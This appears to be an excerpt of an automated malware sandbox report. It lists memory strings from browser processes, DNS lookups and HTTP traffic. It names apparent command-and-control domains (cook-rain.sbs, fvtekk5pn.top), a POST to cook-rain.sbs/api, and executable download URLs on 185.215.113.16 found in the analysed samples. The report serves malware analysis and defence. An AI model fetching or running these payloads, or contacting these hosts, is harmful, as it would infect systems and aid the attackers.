"://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58746000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"] equals www.rambler.ru (Rambler)
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A5875D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58755000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2844834313.0000017A5875D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: chrome.exe, 0000001F.00000003.2687006377.000035F800A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2685395674.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2686308399.000035F800F14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 0000001F.00000003.2687006377.000035F800A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2685395674.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2686308399.000035F800F14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 0000001F.00000002.2884290835.000035F80094C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2875803745.000035F80073D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 0000001F.00000002.2884290835.000035F80094C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2875803745.000035F80073D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: onPrefEMEGlobalEnabledChanged() id=media.gmp-manager.cert.requireBuiltInipc:first-content-process-createdThis should only be called from XPCShell testsmedia.gmp-manager.checkContentSignatureSitePermsAddonInstall#cancel called twice on onPrefEnabledChanged() - adding gmp directory startup - adding gmp directory failed with findUpdates() - updateTask succeeded for dom.sitepermsaddon-provider.enabledresource://gre/modules/AddonManager.sys.mjsKEY_PLUGIN_LAST_INSTALL_FAIL_REASON - the given reason to update is not supportedstartup - adding clearkey CDM failed@mozilla.org/network/file-output-stream;1@mozilla.org/network/safe-file-output-stream;1https://smartblock.firefox.etp/facebook.svg://auth.9c9media.ca/auth/main.js://static.criteo.net/js/ld/publishertag.js://.imgur.com/js/vendor..bundle.jsFileUtils_openSafeFileOutputStream://www.everestjs.net/static/st.v3.js*://web-assets.toggl.com/app/assets/scripts/.jsresource://gre/modules/FileUtils.sys.mjsFileUtils_openAtomicFileOutputStreamFileUtils_closeAtomicFileOutputStream@mozilla.org/network/atomic-file-output-stream;1resource://gre/modules/AsyncShutdown.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2898588001.0000017A5C9EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2898588001.0000017A5C98B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2906828754.0000017A5CC11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58755000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId:
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58755000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId:

Source: global traffic	DNS traffic detected: DNS query: home.fvtekk5pn.top
Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: fvtekk5pn.top
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: services.addons.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: normandy.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: normandy-cdn.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cook-rain.sbs

Source: e6b1d28aa7.exe, 00000007.00000003.2429914815.0000000007072000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: e6b1d28aa7.exe, 00000007.00000003.2429914815.0000000007072000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: firefox.exe, 0000001C.00000002.2816945713.0000017A4C66B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: 2bfd73b1c9.exe, 00000008.00000003.2776292193.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, 2bfd73b1c9.exe, 00000008.00000003.2771463767.0000000000D27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 2bfd73b1c9.exe, 0000000E.00000003.2915258680.00000000012F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 2bfd73b1c9.exe, 0000000E.00000003.2915258680.00000000012F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe0
Source: 2bfd73b1c9.exe, 0000000E.00000003.2915258680.00000000012F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exemk6
Source: 2bfd73b1c9.exe, 00000008.00000002.2854442507.000000000098A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: 2bfd73b1c9.exe, 00000008.00000003.2771463767.0000000000D27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exez
Source: 2bfd73b1c9.exe, 00000008.00000002.2855523156.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2915258680.00000000012F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: 2bfd73b1c9.exe, 00000008.00000002.2855523156.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe8
